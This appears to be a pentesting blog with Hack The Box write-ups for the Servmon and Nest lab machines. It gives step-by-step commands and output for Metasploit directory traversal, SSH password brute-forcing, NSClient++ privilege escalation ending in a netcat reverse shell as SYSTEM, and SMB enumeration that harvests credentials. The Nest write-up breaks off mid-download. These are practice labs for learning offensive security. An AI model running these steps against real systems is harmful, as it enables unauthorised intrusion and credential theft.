Matheus Bratfisch

Hackthebox - Write up of Servmon machine

2020-08-24T00:00:00-05:00

This time, let’s try to get root on Servmon machine from Hackthebox.

Standard starting procedure: NMAP.

$ nmap -T4 10.10.10.184
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 20:10 EDT
Nmap scan report for 10.10.10.184 (10.10.10.184)
Host is up (0.22s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5666/tcp open  nrpe
6699/tcp open  napster

Nmap done: 1 IP address (1 host up) scanned in 124.70 seconds

Opening website as that has given good results while nmap runs again with -A.

It seems there is a software called NVMS-1000 running there. Let’s google and see what that is about. On this search we can see it is vulnerable to a directory traversal. https://www.exploit-db.com/exploits/48311

Keep this in mind and let’s take a look on ftp.

$ ftp 10.10.10.184 
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name (10.10.10.184:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:05PM       <DIR>          Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:06PM       <DIR>          Nadine
01-18-20  12:08PM       <DIR>          Nathan
226 Transfer complete.
ftp> cd Nadine
250 CWD command successful.
ftp> dir
200 PORT command successful.
get 125 Data connection already open; Transfer starting.
01-18-20  12:08PM                  174 Confidential.txt
226 Transfer complete.
ftp> get Confidential.txt
local: Confidential.txt remote: Confidential.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
174 bytes received in 1.04 secs (0.1635 kB/s)
ftp> cd ..
250 CWD command successful.
ftp> cd Nathan
dir
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
01-18-20  12:10PM                  186 Notes to do.txt
226 Transfer complete.
ftp> get 'Notes to do.txt'
local: to remote: 'Notes
200 PORT command successful.
550 The system cannot find the file specified. 
ftp> get "Notes to do.txt"
local: Notes to do.txt remote: Notes to do.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
186 bytes received in 1.02 secs (0.1778 kB/s)
ftp>

Checking file content:

$ cat Notes\ to\ do.txt 
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

$ cat Confidential.txt 
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

OK. This sounds promising if we connect the traversal with this Password path hint we might be able to access the files. Lets use msfconsole

msf5 auxiliary(scanner/http/tvt_nvms_traversal) > search nvms

Matching Modules
================

   #  Name                                       Disclosure Date  Rank    Check  Description
   -  ----                                       ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/tvt_nvms_traversal  2019-12-12       normal  No     TVT NVMS-1000 Directory Traversal


msf5 auxiliary(scanner/http/tvt_nvms_traversal) > use 0
msf5 auxiliary(scanner/http/tvt_nvms_traversal) > set rhosts 10.10.10.184
rhosts => 10.10.10.184
msf5 auxiliary(scanner/http/tvt_nvms_traversal) > set FILEPATH /Users/Nathan/Desktop/Passwords.txt
FILEPATH => /Users/Nathan/Desktop/Passwords.txt
msf5 auxiliary(scanner/http/tvt_nvms_traversal) > run

[+] 10.10.10.184:80 - Downloaded 156 bytes
[+] File saved in: /home/kali/.msf4/loot/20200519201005_default_10.10.10.184_nvms.traversal_218286.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/http/tvt_nvms_traversal) >

Checking the file content:

$ cat /home/kali/.msf4/loot/20200519201005_default_10.10.10.184_nvms.traversal_218286.txt
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

That’s a possible list of passwords I believe. We have two possible users:

nadine
nathan

With this password list, so we can use msfconsole with ssh_login to try them:

msf5 > search ssh_login

Matching Modules
================

   #  Name                                    Disclosure Date  Rank    Check  Description
   -  ----                                    ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_login                          normal  No     SSH Login Check Scanner
   1  auxiliary/scanner/ssh/ssh_login_pubkey                   normal  No     SSH Public Key Login Scanner


msf5 > use 0
msf5 auxiliary(scanner/ssh/ssh_login) > options

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           false            yes       Whether to print output for all attempts

msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 10.10.10.184
rhosts => 10.10.10.184
msf5 auxiliary(scanner/ssh/ssh_login) > set user_file users.txt
user_file => users.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file passwords.txt
pass_file => passwords.txt
msf5 auxiliary(scanner/ssh/ssh_login) > run

[+] 10.10.10.184:22 - Success: 'nadine:L1k3B1gBut7s@W0rk' ''
[*] Command shell session 1 opened (10.10.16.87:44279 -> 10.10.10.184:22) at 2020-05-19 20:14:31 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_login) >

It found a valid credential. Perfect, lets access it on ssh. Keep in mind to always do some enumeration and look what exists on machine and what config it does have. If a service doesnt sound promising, check google and config. With this approach we can find C:\Program Files\NSClient++\nsclient.ini

It has an interesting part

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1

; Undocumented key
WEBServer = enabled

After some more googling we can find out that WEBServer for NSClient by default listen on port 8443 so creating a tunnel which allow our localhost to access the other machine ip on that port with:

$ ssh -L 8443:127.0.0.1:8443 nadine@10.10.10.184

And open the website on my chrome instance. We can also see there is a Priv Esc for NSClient++ on https://www.exploit-db.com/exploits/46802 Usually this machines doesn’t need reboot but let’s try to follow the process more or less. It seems the machine is not that stable but after a few tries I was able to connect to 8443 and login.

Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
  - section: /settings/external scripts/scripts/foobar
  - key: command
  - value: c:\temp\evil.bat

Add schedulede to call script every 1 minute and save settings
- Settings > Scheduler > Schedules
- Add new
  - section: /settings/scheduler/schedules/foobar
  - key: interval
  - value: 1m
  - key: command
  - value: foobar

This was a bit painful to run, it didn’ t start automatically but when I opened: Console I saw a bunch of messages like:

Unknown command(s): foobar available commands: commands {, alias_cpu, alias_cpu_ex, alias_disk, alias_disk_loose, alias_event_log, alias_file_age, alias_file_size, alias_mem, alias_process, alias_process_count, alias_process_hung, alias_process_stopped, alias_sched_all, alias_sched_long, alias_sched_task, alias_service, alias_service_ex, alias_up, alias_volumes, alias_volumes_loose, check_tasksched, checktasksched, foobar}, plugins {, 0, 1}

so I tried to call foobar directly and… I got a root shell on nc

$ sudo nc -nlvvp 2443
[sudo] password for kali: 
listening on [any] 2443 ...
whoami

connect to [10.10.16.87] from (UNKNOWN) [10.10.10.184] 50557
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
nt authority\system

Hope you had fun, Matheus

Hackthebox - Write up of Nest machine

2020-06-19T00:00:00-05:00

Hello,

As you guys already know I have been studying pentest. Recently I signed up on hackthebox.eu and started doing some easy machines. This writeup will show the steps I have done to get user and root flag.

I always start with nmap.

$ nmap -T4 -Pn -p- -v 10.10.10.178
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-01 21:41 EDT
Initiating Parallel DNS resolution of 1 host. at 21:41
Completed Parallel DNS resolution of 1 host. at 21:41, 0.01s elapsed
Initiating Connect Scan at 21:41
Scanning 10.10.10.178 (10.10.10.178) [65535 ports]
Discovered open port 445/tcp on 10.10.10.178
Connect Scan Timing: About 3.75% done; ETC: 21:55 (0:13:16 remaining)
Connect Scan Timing: About 16.48% done; ETC: 21:47 (0:05:09 remaining)
Connect Scan Timing: About 39.14% done; ETC: 21:45 (0:02:21 remaining)
Connect Scan Timing: About 66.62% done; ETC: 21:44 (0:01:01 remaining)
Discovered open port 4386/tcp on 10.10.10.178
Completed Connect Scan at 21:44, 220.62s elapsed (65535 total ports)
Nmap scan report for 10.10.10.178 (10.10.10.178)
Host is up (0.15s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
4386/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 220.71 seconds

Port 4386 seems different, will try some telnet to it, and enumerate:

$ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
>debug 1

Invalid password entered
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  COMPARISONS
[1]   Invoices (Ordered By Customer)
[2]   Products Sold (Ordered By Customer)
[3]   Products Sold In Last 30 Days

Current Directory: ALL QUERIES
>setdir C:\Windows\Temp

Error: Access to the path 'C:\Windows\Temp\' is denied.
>

Now let’s see what samba hides:

$ smbclient -L \\\\10.10.10.178\\
directory_create_or_exist: mkdir failed on directory /run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\kali's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Data            Disk      
        IPC$            IPC       Remote IPC
        Secure$         Disk      
        Users           Disk      
SMB1 disabled -- no workgroup available

Listing everything with smbmap:

$ smbmap -H 10.10.10.178 -R --depth 10 -p a
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.178...
[+] IP: 10.10.10.178:445        Name: 10.10.10.178                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        .                                                  
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    .
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    IT
        dr--r--r--                0 Mon Aug  5 17:53:41 2019    Production
        dr--r--r--                0 Mon Aug  5 17:53:50 2019    Reports
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    Shared
        Data                                                    READ ONLY
        .\
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    .
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    IT
        dr--r--r--                0 Mon Aug  5 17:53:41 2019    Production
        dr--r--r--                0 Mon Aug  5 17:53:50 2019    Reports
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    Shared
        .\Shared\
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    .
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    ..
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    Maintenance
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    Templates
        .\Shared\Maintenance\
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    .
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    ..
        -r--r--r--               48 Wed Aug  7 15:07:32 2019    Maintenance Alerts.txt
        .\Shared\Templates\
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    .
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    ..
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    HR
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    Marketing
        .\Shared\Templates\HR\
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    .
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    ..
        -r--r--r--              425 Wed Aug  7 18:55:36 2019    Welcome Email.txt
        IPC$                                                    NO ACCESS       Remote IPC
        Secure$                                                 NO ACCESS
        .                                                  
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    .
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    ..
        dr--r--r--                0 Fri Aug  9 11:08:23 2019    Administrator
        dr--r--r--                0 Sun Jan 26 02:21:44 2020    C.Smith
        dr--r--r--                0 Thu Aug  8 13:03:29 2019    L.Frost
        dr--r--r--                0 Thu Aug  8 13:02:56 2019    R.Thompson
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    TempUser
        Users                                                   READ ONLY
        .\
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    .
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    ..
        dr--r--r--                0 Fri Aug  9 11:08:23 2019    Administrator
        dr--r--r--                0 Sun Jan 26 02:21:44 2020    C.Smith
        dr--r--r--                0 Thu Aug  8 13:03:29 2019    L.Frost
        dr--r--r--                0 Thu Aug  8 13:02:56 2019    R.Thompson
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    TempUser

Download the files we saw:

$ smbget -R smb://10.10.10.178/Data/Shared 
Password for [kali] connecting to //Data/10.10.10.178: 
Using workgroup WORKGROUP, user kali
smb://10.10.10.178/Data/Shared/Maintenance/Maintenance Alerts.txt                                                   
smb://10.10.10.178/Data/Shared/Templates/HR/Welcome Email.txt                             
Downloaded 473b in 11 seconds

Perfect we have something there checking what is inside the file:

$ cat Templates/HR/Welcome\ Email.txt 
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location: 
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the 
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019


Thank you
HR
kali@kali:~/sharedcat Maintenance/Maintenance\ Alerts.txt 
There is currently no scheduled maintenance work

Trying to list everything with this new user and credentials:

$ smbmap -H 10.10.10.178 -R --depth 10 -u TempUser -p welcome2019
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.178...
[+] IP: 10.10.10.178:445        Name: 10.10.10.178                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        .                                                  
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    .
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    IT
        dr--r--r--                0 Mon Aug  5 17:53:41 2019    Production
        dr--r--r--                0 Mon Aug  5 17:53:50 2019    Reports
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    Shared
        Data                                                    READ ONLY
        .\
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    .
        dr--r--r--                0 Wed Aug  7 18:53:46 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    IT
        dr--r--r--                0 Mon Aug  5 17:53:41 2019    Production
        dr--r--r--                0 Mon Aug  5 17:53:50 2019    Reports
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    Shared
        .\IT\
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    .
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    ..
        dr--r--r--                0 Wed Aug  7 18:58:07 2019    Archive
        dr--r--r--                0 Wed Aug  7 18:59:34 2019    Configs
        dr--r--r--                0 Wed Aug  7 18:08:30 2019    Installs
        dr--r--r--                0 Sat Jan 25 19:09:13 2020    Reports
        dr--r--r--                0 Mon Aug  5 18:33:51 2019    Tools
        .\IT\Configs\
        dr--r--r--                0 Wed Aug  7 18:59:34 2019    .
        dr--r--r--                0 Wed Aug  7 18:59:34 2019    ..
        dr--r--r--                0 Wed Aug  7 15:20:13 2019    Adobe
        dr--r--r--                0 Tue Aug  6 07:16:34 2019    Atlas
        dr--r--r--                0 Tue Aug  6 09:27:08 2019    DLink
        dr--r--r--                0 Wed Aug  7 15:23:26 2019    Microsoft
        dr--r--r--                0 Wed Aug  7 15:33:54 2019    NotepadPlusPlus
        dr--r--r--                0 Wed Aug  7 16:01:13 2019    RU Scanner
        dr--r--r--                0 Tue Aug  6 09:27:09 2019    Server Manager
        .\IT\Configs\Adobe\
        dr--r--r--                0 Wed Aug  7 15:20:13 2019    .
        dr--r--r--                0 Wed Aug  7 15:20:13 2019    ..
        -r--r--r--              246 Wed Aug  7 15:20:13 2019    editing.xml
        -r--r--r--                0 Wed Aug  7 15:20:09 2019    Options.txt
        -r--r--r--              258 Wed Aug  7 15:20:09 2019    projects.xml
        -r--r--r--             1274 Wed Aug  7 15:20:09 2019    settings.xml
        .\IT\Configs\Atlas\
        dr--r--r--                0 Tue Aug  6 07:16:34 2019    .
        dr--r--r--                0 Tue Aug  6 07:16:34 2019    ..
        -r--r--r--             1369 Tue Aug  6 07:18:38 2019    Temp.XML
        .\IT\Configs\Microsoft\
        dr--r--r--                0 Wed Aug  7 15:23:26 2019    .
        dr--r--r--                0 Wed Aug  7 15:23:26 2019    ..
        -r--r--r--             4598 Wed Aug  7 15:23:26 2019    Options.xml
        .\IT\Configs\NotepadPlusPlus\
        dr--r--r--                0 Wed Aug  7 15:33:54 2019    .
        dr--r--r--                0 Wed Aug  7 15:33:54 2019    ..
        -r--r--r--             6451 Wed Aug  7 19:01:25 2019    config.xml
        -r--r--r--             2108 Wed Aug  7 19:00:36 2019    shortcuts.xml
        .\IT\Configs\RU Scanner\
        dr--r--r--                0 Wed Aug  7 16:01:13 2019    .
        dr--r--r--                0 Wed Aug  7 16:01:13 2019    ..
        -r--r--r--              270 Thu Aug  8 15:49:37 2019    RU_config.xml
        .\Shared\
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    .
        dr--r--r--                0 Wed Aug  7 15:07:51 2019    ..
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    Maintenance
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    Templates
        .\Shared\Maintenance\
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    .
        dr--r--r--                0 Wed Aug  7 15:07:33 2019    ..
        -r--r--r--               48 Wed Aug  7 15:07:32 2019    Maintenance Alerts.txt
        .\Shared\Templates\
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    .
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    ..
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    HR
        dr--r--r--                0 Wed Aug  7 15:08:07 2019    Marketing
        .\Shared\Templates\HR\
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    .
        dr--r--r--                0 Wed Aug  7 15:08:10 2019    ..
        -r--r--r--              425 Wed Aug  7 18:55:36 2019    Welcome Email.txt
        IPC$                                                    NO ACCESS       Remote IPC
        .                                                  
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    .
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    ..
        dr--r--r--                0 Wed Aug  7 15:40:25 2019    Finance
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    HR
        dr--r--r--                0 Thu Aug  8 06:59:25 2019    IT
        Secure$                                                 READ ONLY
        .\
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    .
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    ..
        dr--r--r--                0 Wed Aug  7 15:40:25 2019    Finance
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    HR
        dr--r--r--                0 Thu Aug  8 06:59:25 2019    IT
        .                                                  
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    .
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    ..
        dr--r--r--                0 Fri Aug  9 11:08:23 2019    Administrator
        dr--r--r--                0 Sun Jan 26 02:21:44 2020    C.Smith
        dr--r--r--                0 Thu Aug  8 13:03:29 2019    L.Frost
        dr--r--r--                0 Thu Aug  8 13:02:56 2019    R.Thompson
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    TempUser
        Users                                                   READ ONLY
        .\
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    .
        dr--r--r--                0 Sat Jan 25 18:04:21 2020    ..
        dr--r--r--                0 Fri Aug  9 11:08:23 2019    Administrator
        dr--r--r--                0 Sun Jan 26 02:21:44 2020    C.Smith
        dr--r--r--                0 Thu Aug  8 13:03:29 2019    L.Frost
        dr--r--r--                0 Thu Aug  8 13:02:56 2019    R.Thompson
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    TempUser
        .\TempUser\
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    .
        dr--r--r--                0 Wed Aug  7 18:56:02 2019    ..
        -r--r--r--                0 Wed Aug  7 18:56:02 2019    New Text Document.txt

Downloading everything again:

$ smbget -R smb://10.10.10.178/Data/IT/ -U TempUser
Password for [TempUser] connecting to //Data/10.10.10.178: 
Using workgroup WORKGROUP, user TempUser
smb://10.10.10.178/Data/IT//Configs/Adobe/editing.xml                                                 
smb://10.10.10.178/Data/IT//Configs/Adobe/Options.txt                                                
smb://10.10.10.178/Data/IT//Configs/Adobe/projects.xml                                               
smb://10.10.10.178/Data/IT//Configs/Adobe/settings.xml                                                   
smb://10.10.10.178/Data/IT//Configs/Atlas/Temp.XML                                                
smb://10.10.10.178/Data/IT//Configs/Microsoft/Options.xml                                    
smb://10.10.10.178/Data/IT//Configs/NotepadPlusPlus/config.xml                            
smb://10.10.10.178/Data/IT//Configs/NotepadPlusPlus/shortcuts.xml                            
smb://10.10.10.178/Data/IT//Configs/RU Scanner/RU_config.xml

If we look inside the files we can see some hashed password on RU_config.xml

$ cat Configs/RU\ Scanner/RU_config.xml 
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

Looking the other files we find some other interesting things:

$ tail Configs/NotepadPlusPlus/config.xml 
        <Find name="redeem on" />
        <Find name="192" />
        <Replace name="C_addEvent" />
    </FindHistory>
    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
    </History>
</NotepadPlus>

Checking Temp.xml

$ cat Configs/Atlas/Temp.XML 
<?xml version="1.0" encoding="UTF-8"?>
<bs:Brainstorm xmlns:bs="http://schemas.microsoft.com/visio/2003/brainstorming"><bs:topic bs:TopicID="T1"><bs:text>Marketing Plan</bs:text><bs:topic bs:TopicID="T1.1"><bs:text>Product</bs:text><bs:prop><bs:id>1</bs:id><bs:label>Assigned to</bs:label><bs:value>Deanna Meyer</bs:value></bs:prop><bs:topic bs:TopicID="T1.1.1"><bs:text>New features</bs:text></bs:topic><bs:topic bs:TopicID="T1.1.2"><bs:text>Competitive strengths</bs:text></bs:topic><bs:topic bs:TopicID="T1.1.3"><bs:text>Competitive weaknesses</bs:text></bs:topic></bs:topic><bs:topic bs:TopicID="T1.2"><bs:text>Placement</bs:text><bs:prop><bs:id>1</bs:id><bs:label>Assigned to</bs:label><bs:value>Jolie Lenehan</bs:value></bs:prop></bs:topic><bs:topic bs:TopicID="T1.3"><bs:text>Price</bs:text><bs:prop><bs:id>1</bs:id><bs:label>Assigned to</bs:label><bs:value>Robert O'Hara</bs:value></bs:prop></bs:topic><bs:topic bs:TopicID="T1.4"><bs:text>Promotion</bs:text><bs:prop><bs:id>1</bs:id><bs:label>Assigned to</bs:label><bs:value>Robert O'Hara</bs:value></bs:prop><bs:topic bs:TopicID="T1.4.1"><bs:text>Advertising</bs:text></bs:topic><bs:topic bs:TopicID="T1.4.2"><bs:text>Mailings</bs:text></bs:topic><bs:topic bs:TopicID="T1.4.3"><bs:text>Trade shows</bs:text></bs:topic></bs:topic></bs:topic><bs:association bs:topic1="T1.4" bs:topic2="T1.3"/></bs:Brainstorm>

Some possible names for users. As we know the Secure$ path from recent files let’s try to dig into it directly:

$ smbmap -H 10.10.10.178 -R Secure$/IT/Carl --depth 10 -p welcome2019 -u TempUser
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.178...
[+] IP: 10.10.10.178:445        Name: 10.10.10.178                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        .                                                  
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    .
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    ..
        dr--r--r--                0 Wed Aug  7 15:40:25 2019    Finance
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    HR
        dr--r--r--                0 Thu Aug  8 06:59:25 2019    IT
        Secure$                                                 READ ONLY
        .IT\Carl\
        dr--r--r--                0 Wed Aug  7 15:42:14 2019    .
        dr--r--r--                0 Wed Aug  7 15:42:14 2019    ..
        dr--r--r--                0 Wed Aug  7 15:44:00 2019    Docs
        dr--r--r--                0 Tue Aug  6 09:45:47 2019    Reports
        dr--r--r--                0 Tue Aug  6 10:41:55 2019    VB Projects
        .IT\Carl\Docs\
        dr--r--r--                0 Wed Aug  7 15:44:00 2019    .
        dr--r--r--                0 Wed Aug  7 15:44:00 2019    ..
        -r--r--r--               56 Wed Aug  7 15:44:16 2019    ip.txt
        -r--r--r--               73 Wed Aug  7 15:43:46 2019    mmc.txt
        .IT\Carl\VB Projects\
        dr--r--r--                0 Tue Aug  6 10:41:55 2019    .
        dr--r--r--                0 Tue Aug  6 10:41:55 2019    ..
        dr--r--r--                0 Tue Aug  6 10:41:53 2019    Production
        dr--r--r--                0 Tue Aug  6 10:47:41 2019    WIP
        .IT\Carl\VB Projects\WIP\
        dr--r--r--                0 Tue Aug  6 10:47:41 2019    .
        dr--r--r--                0 Tue Aug  6 10:47:41 2019    ..
        dr--r--r--                0 Fri Aug  9 11:36:45 2019    RU
        .IT\Carl\VB Projects\WIP\RU\
        dr--r--r--                0 Fri Aug  9 11:36:45 2019    .
        dr--r--r--                0 Fri Aug  9 11:36:45 2019    ..
        dr--r--r--                0 Wed Aug  7 18:05:54 2019    RUScanner
        -r--r--r--              871 Fri Aug  9 11:36:35 2019    RUScanner.sln
        .IT\Carl\VB Projects\WIP\RU\RUScanner\
        dr--r--r--                0 Wed Aug  7 18:05:54 2019    .
        dr--r--r--                0 Wed Aug  7 18:05:54 2019    ..
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    bin
        -r--r--r--              772 Wed Aug  7 18:05:09 2019    ConfigFile.vb
        -r--r--r--              279 Wed Aug  7 18:05:44 2019    Module1.vb
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    My Project
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    obj
        -r--r--r--             4828 Fri Aug  9 11:38:30 2019    RU Scanner.vbproj
        -r--r--r--              143 Wed Aug  7 16:00:28 2019    RU Scanner.vbproj.user
        -r--r--r--              133 Wed Aug  7 18:05:58 2019    SsoIntegration.vb
        -r--r--r--             4888 Wed Aug  7 18:06:03 2019    Utils.vb
        .IT\Carl\VB Projects\WIP\RU\RUScanner\bin\
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    .
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    ..
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    Debug
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    Release
        .IT\Carl\VB Projects\WIP\RU\RUScanner\My Project\
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    .
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    ..
        -r--r--r--              441 Wed Aug  7 16:00:11 2019    Application.Designer.vb
        -r--r--r--              481 Wed Aug  7 16:00:11 2019    Application.myapp
        -r--r--r--             1163 Wed Aug  7 16:00:11 2019    AssemblyInfo.vb
        -r--r--r--             2776 Wed Aug  7 16:00:11 2019    Resources.Designer.vb
        -r--r--r--             5612 Wed Aug  7 16:00:11 2019    Resources.resx
        -r--r--r--             2989 Wed Aug  7 16:00:11 2019    Settings.Designer.vb
        -r--r--r--              279 Wed Aug  7 16:00:11 2019    Settings.settings
        .IT\Carl\VB Projects\WIP\RU\RUScanner\obj\
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    .
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    ..
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    x86

Tons of files there let’s download them:

$ smbget -R smb://10.10.10.178/Secure$/IT/Carl/ -U TempUser
Password for [TempUser] connecting to //Secure$/10.10.10.178: 
Using workgroup WORKGROUP, user TempUser
smb://10.10.10.178/Secure$/IT/Carl//Docs/ip.txt                                                                                                            
smb://10.10.10.178/Secure$/IT/Carl//Docs/mmc.txt                                                                                                           
